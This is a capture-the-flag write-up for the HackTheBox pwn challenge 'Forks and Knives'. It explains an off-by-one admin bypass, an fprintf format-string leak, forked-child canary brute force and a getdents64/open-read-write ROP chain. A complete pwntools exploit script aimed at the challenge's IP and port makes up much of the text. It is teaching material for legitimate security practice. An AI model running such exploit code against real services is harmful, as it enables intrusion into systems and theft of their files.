Forks and Knives
hackthebox
Task: a forked Linux TCP service with PIE, NX, canary, Full RELRO, an off-by-one admin bypass, a reservation format string, and a staged stack overflow. Solution: use the NUL overwrite to reach manager functions, leak libc and stack via fprintf, brute-force the shared canary across forked children, recover the randomized flag filename with getdents64, then finish with an ORW ROP chain.
$ ls tags/ techniques/
Forks and Knives — HackTheBox
Description
Welcome to the Forks & Knives restaurant!
This was a forked TCP pwn service, not a web task. The binary exposed a restaurant menu over the network and kept per-client state such as the user name, reservations, and order data.
Remote target: 154.57.164.78:30845.
Files:
serverlibc.so.6Dockerfile
Recon
The first useful strings immediately showed the challenge shape:
Welcome to the Forks & Knives restaurant!Can I have your name please?Reserve a tablePlace an orderLogin as managerView reservationsClear reservations
That made it clear this was a classic menu-driven Linux service. There was no HTTP parsing anywhere, and the target itself behaved like a forked TCP daemon: every incoming connection got a fresh child process.
checksec on the binary:
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | Enabled |
| RELRO | Full |
So the exploitation plan had to avoid GOT overwrites and needed either a canary leak or a reliable canary bypass. Because the service forks, the stack canary is inherited by children, which turned brute force into a viable primitive.
Reversing Findings
Global state
The early input handler stores the customer name in a global buffer:
nameat0x4030- adjacent
adminflag at0x4040
The name logic reads up to 16 bytes and then writes a trailing \0 at name[len].
That is safe for lengths 0..15, but exactly 16 bytes makes the terminator land one byte past the buffer, on top of the neighboring auth state.
Bug 1 — off-by-one NUL admin bypass
If we send exactly 16 bytes as the initial name, the terminator is written to 0x4040 and clears the adjacent admin flag. In this program that flipped the manager check in our favor, so the manager-only menu entries became reachable without any real login.
This was the first stage of the chain because the format-string bug lived behind the reservation/manager flow.
Bug 2 — format string in reservation writer
The reservation path asks:
How many people would you like to reserve the table for?
That value is read into a tiny 4-byte stack buffer, then embedded with:
snprintf(user_buf, ..., "Table for %s\n", input);
So far this is fine. The bug appears one step later when the resulting string is written with:
fprintf(file, user_buf);
Instead of treating user_buf as plain data, it becomes the format string for fprintf. Since manager access lets us view the saved reservations afterwards, we can plant %p specifiers and recover pointers from the child process.
The two leaks that mattered were:
%2$p→ libc pointer tolseek64+0xb%1$p→ stack pointer inside the current frame
Known libc relation:
lseek64 = 0x114910 lseek64 + 0xb = 0x11491b
So:
libc_base = leak_%2$p - 0x11491b
The stack leak gave a stable way to compute the future order buffer address:
order_buf = stack_leak - 0xe0
That was important because the final payload did not spawn an interactive shell. Instead, it used ORW directly and needed a reliable writable pointer for filenames and file contents.
Bug 3 — staged stack overflow in the order flow
The order handler contains two reads:
- First read:
0x100bytes into a local buffer atrbp-0x110 - Then a 2-byte
y/nread atrbp-0x116 - If the answer is
y, a second read of0x100bytes goes tobuf + first_len
That means the program reuses the length returned by the first read as the starting point for the second write.
If we make the first read consume a full 0x100 bytes, the second destination becomes:
(rbp - 0x110) + 0x100 = rbp - 0x10
From there, the second read starts past the end of the original buffer, only 8 bytes before the canary.
Stack layout relative to the second write start:
rbp-0x10 -> second write starts here rbp-0x08 -> canary rbp+0x00 -> saved rbp rbp+0x08 -> saved rip
So the second-stage payload becomes:
8 bytes padding 8 bytes canary 8 bytes saved rbp filler ROP chain
This gave controlled RIP despite NX, PIE, canary, and Full RELRO.
Exploitation Chain
The final exploit used the following sequence:
- Send exactly 16 bytes as the name to NUL out the adjacent admin flag.
- Create a reservation containing format specifiers.
- View reservations and parse:
%2$pfor libc base%1$pfor stack leak
- Compute
order_buf = stack_leak - 0xe0. - Brute-force the stack canary byte-by-byte across forked children.
- Trigger the order overflow.
- First use ORW +
getdents64to list the directory and recover the randomized flag filename. - Run a second ORW chain to open that file and send it back through the client socket.
Canary Brute Force Across Forked Children
Because the parent process forks a child for each connection, every child inherits the same canary value. That turns crash-or-no-crash into an oracle.
Recovered canary:
00 8e eb 38 42 f7 ae 33
Little-endian 64-bit value:
0x33aef74238eb8e00
Bruteforce method:
- Open a fresh connection.
- Reapply the 16-byte name admin bypass.
- Enter the order flow.
- Send
0x100bytes in the first order read so the second write starts atrbp-0x10. - Send a second-stage payload with:
8bytes padding- known canary prefix + guessed next byte
- If the child survives and reaches the success path, the guessed byte is correct.
- Repeat until all 8 bytes are known.
The leading canary byte is 0x00, so only the remaining 7 bytes needed guessing.
Recovering the Randomized Flag Filename
The provided Dockerfile contains the important hint:
# RUN mv /home/ctf/flag.txt /home/ctf/flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 16).txt
So even after code execution, assuming a fixed flag.txt path would fail. The exploit first used a directory listing ROP chain.
Why getdents64
Once libc was known, ORW was enough to read arbitrary files, but we still needed the exact randomized name. getdents64 solved that cleanly:
open(".", 0)oropen("/home/ctf", 0)getdents64(fd, order_buf, 0x300)write(4, order_buf, 0x300)
Here 4 is the client socket descriptor in the forked child, so the directory entries are written directly back to our connection.
That revealed:
flagd816d7b5ab9c4d97.txt
Final ORW Exploit
After discovering the filename, the last chain reused the same overflow and targeted the real flag file.
High-level ROP plan:
open("flagd816d7b5ab9c4d97.txt", 0)read(3, order_buf, 0x80)write(4, order_buf, 0x80)exit(0)
Why ORW instead of system("/bin/sh"):
- It avoids dealing with TTY / interactive shell quirks.
- It works cleanly against a forked network service.
- The socket FD was already known to be usable for output.
Useful constants
libc leak source : lseek64+0xb libc leak offset : 0x11491b stack-derived buffer : order_buf = stack_leak - 0xe0 known socket fd : 4 canary : 0x33aef74238eb8e00
Example exploit
#!/usr/bin/env python3 from pwn import * import re HOST = "154.57.164.78" PORT = 30845 BIN_PATH = "./server" LIBC_PATH = "./libc.so.6" elf = context.binary = ELF(BIN_PATH, checksec=False) libc = ELF(LIBC_PATH, checksec=False) context.arch = "amd64" context.os = "linux" context.log_level = "info" CANARY = 0x33AEF74238EB8E00 LSEEK64_RET_OFF = 0x11491B # lseek64 + 0xb ORDER_BUF_DELTA = 0xE0 # order_buf = stack_leak - 0xe0 CLIENT_FD = 4 LISTING_PATH = b".\x00" FLAG_NAME = b"flagd816d7b5ab9c4d97.txt\x00" def start(): return remote(HOST, PORT) def menu(io, choice: int): io.recvuntil(b"Clear reservations") io.sendline(str(choice).encode()) def set_name(io, name: bytes): io.recvuntil(b"Can I have your name please?") io.send(name) def manager_bypass(io): # Exactly 16 bytes -> trailing NUL lands on adjacent admin flag. set_name(io, b"A" * 16) def reserve(io, people: bytes, saved_name: bytes = b"guest"): menu(io, 1) io.recvuntil(b"How many people would you like to reserve the table for?") io.sendline(people) io.recvuntil(b"Under what name shall we save the reservation?") io.sendline(saved_name) def view_reservations(io) -> bytes: menu(io, 5) data = io.recvuntil(b"Clear reservations", drop=True, timeout=2) return data def leak_libc_and_stack(io): reserve(io, b"%1$p.%2$p", b"chef") data = view_reservations(io) m = re.search(rb"0x([0-9a-fA-F]+)\.0x([0-9a-fA-F]+)", data) if not m: log.failure(data) raise ValueError("failed to parse reservation leaks") stack_leak = int(m.group(1), 16) libc_ret = int(m.group(2), 16) libc.address = libc_ret - LSEEK64_RET_OFF order_buf = stack_leak - ORDER_BUF_DELTA log.success(f"stack leak = {hex(stack_leak)}") log.success(f"libc leak = {hex(libc_ret)}") log.success(f"libc base = {hex(libc.address)}") log.success(f"order buf = {hex(order_buf)}") return order_buf def order(io, first: bytes, second: bytes): menu(io, 2) io.recvuntil(b"What would you like to order?") io.send(first) io.recvuntil(b"Would you like to add anything to your order? (y/n)") io.send(b"y\n") io.recvuntil(b"What else will you add to your order?") io.send(second) def build_syscall_chain(order_buf: int, dir_fd: int): rop = ROP(libc) pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address pop_rax = libc.address + rop.find_gadget(["pop rax", "ret"]).address syscall = libc.address + rop.find_gadget(["syscall", "ret"]).address chain = flat( pop_rdi, order_buf, # open(path, 0) pop_rsi, 0, libc.address + libc.sym.open, pop_rdi, dir_fd, # getdents64(dir_fd, order_buf, 0x300) pop_rsi, order_buf, pop_rdx_r12, 0x300, 0, pop_rax, 217, syscall, pop_rdi, CLIENT_FD, # write(4, order_buf, 0x300) pop_rsi, order_buf, pop_rdx_r12, 0x300, 0, libc.address + libc.sym.write, pop_rdi, 0, libc.address + libc.sym.exit, ) return chain def build_flag_chain(order_buf: int, flag_ptr: int): rop = ROP(libc) pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address chain = flat( pop_rdi, flag_ptr, # open(flag_name, 0) pop_rsi, 0, libc.address + libc.sym.open, pop_rdi, 3, # read(3, order_buf, 0x80) pop_rsi, order_buf, pop_rdx_r12, 0x80, 0, libc.address + libc.sym.read, pop_rdi, CLIENT_FD, # write(4, order_buf, 0x80) pop_rsi, order_buf, pop_rdx_r12, 0x80, 0, libc.address + libc.sym.write, pop_rdi, 0, libc.address + libc.sym.exit, ) return chain def overflow_payload(order_buf: int, rop_chain: bytes, first_blob: bytes) -> tuple[bytes, bytes]: first = first_blob.ljust(0x100, b"A") second = flat( b"B" * 8, # second write starts at rbp-0x10 CANARY, b"C" * 8, # saved rbp rop_chain, ) return first, second def list_directory(): io = start() manager_bypass(io) order_buf = leak_libc_and_stack(io) first_blob = LISTING_PATH chain = build_syscall_chain(order_buf, 3) first, second = overflow_payload(order_buf, chain, first_blob) order(io, first, second) data = io.recvrepeat(1) io.close() return data def read_flag(): io = start() manager_bypass(io) order_buf = leak_libc_and_stack(io) flag_ptr = order_buf + 0x20 first_blob = LISTING_PATH.ljust(0x20, b"\x00") + FLAG_NAME chain = build_flag_chain(order_buf, flag_ptr) first, second = overflow_payload(order_buf, chain, first_blob) order(io, first, second) data = io.recvrepeat(1) m = re.search(rb"HTB\{[^}]+\}", data) if m: log.success(f"flag = {m.group().decode()}") else: log.failure(data) io.interactive() def brute_canary(): known = b"\x00" while len(known) < 8: for guess in range(0x100): io = start() try: manager_bypass(io) menu(io, 2) io.recvuntil(b"What would you like to order?") io.send(b"A" * 0x100) io.recvuntil(b"Would you like to add anything to your order? (y/n)") io.send(b"y\n") io.recvuntil(b"What else will you add to your order?") probe = b"B" * 8 + known + bytes([guess]) io.send(probe) out = io.recv(timeout=0.4) if b"You order has been placed!" in out or b"already placed" in out or out: known += bytes([guess]) log.success(f"canary so far: {known.hex()}") io.close() break except EOFError: pass finally: io.close() else: raise RuntimeError("failed to brute-force next canary byte") return u64(known) if __name__ == "__main__": # Optional helper: # print(list_directory()) read_flag()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]Canary leak + ret2win (string_leak)— spbctf
- [pwn][free]Restaurant— hackthebox
- [pwn][Pro]Канарейка (Canary)— HackerLab
- [pwn][Pro]stackgift— spbctf
- [pwn][free]Arms Roped— hackthebox